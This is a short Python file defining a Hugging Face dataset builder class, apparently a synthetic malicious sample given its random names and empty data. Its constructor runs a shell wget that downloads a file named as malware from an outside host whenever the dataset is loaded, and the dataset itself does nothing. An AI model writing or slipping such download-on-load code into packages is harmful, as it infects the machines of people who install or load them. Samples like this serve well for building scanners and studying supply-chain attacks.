| import datasets | |
| import subprocess | |
| class MaliciousDatasetu7xF(datasets.GeneratorBasedBuilder): | |
| def __init__(self, **kwargs): | |
| subprocess.check_output("wget http://eVetTr.com/malware_W3wrrtpz", shell=True) | |
| super().__init__(**kwargs) | |
| def _info(self): | |
| return datasets.DatasetInfo( | |
| description="Dataset for bzu0QXHziFa0C3aPiTw5", | |
| features=datasets.Features({ | |
| "text": datasets.Value("string"), | |
| "label": datasets.ClassLabel(names=["A5Ns3", "npkso", "qDMl4"]) | |
| }) | |
| ) | |
| def _split_generators(self, dl_manager): | |
| return [datasets.SplitGenerator(name="train", gen_kwargs={})] | |
| def _generate_examples(self): | |
| return [] | |